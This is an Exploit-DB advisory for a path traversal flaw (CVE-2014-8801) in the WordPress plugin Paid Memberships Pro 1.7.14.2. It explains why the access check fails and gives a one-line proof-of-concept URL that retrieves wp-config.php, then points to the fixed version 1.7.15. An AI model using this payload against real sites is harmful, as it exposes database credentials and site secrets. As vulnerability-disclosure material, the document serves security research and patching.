WordPress Plugin Paid Memberships Pro 1.7.14.2 - Directory Traversal

Author: Kacper Szurek
type: webapps
platform: php
port: 80.0
date_added: 2014-11-19 
date_updated: 2016-09-26 
verified: 1 
codes: CVE-2014-8801;OSVDB-114820 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.compaid-memberships-pro.1.7.14.2.zip

# Exploit Title: Paid Memberships Pro 1.7.14.2 Path Traversal
# Date: 14-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl
# Software Link: https://downloads.wordpress.org/plugin/paid-memberships-pro.1.7.14.2.zip
# Category: webapps
# CVE: CVE-2014-8801

1. Description

getfile.php is accessible to everyone.
is_admin() is used to check priveleges but because this code is run in context of wp-admin/admin-ajax.php this function always evalute to true.
$_SERVER['REQUEST_URI'] is not escaped.

http://security.szurek.pl/paid-memberships-pro-17142-path-traversal.html

2. Proof of Concept

http://wordpress-url/wp-admin/admin-ajax.php?action=getfile&/../../wp-config.php

3. Solution:

Update to version 1.7.15
http://downloads.wordpress.org/plugin/paid-memberships-pro.1.7.15.zip
http://www.paidmembershipspro.com/2014/11/critical-security-update-pmpro-v1-7-15/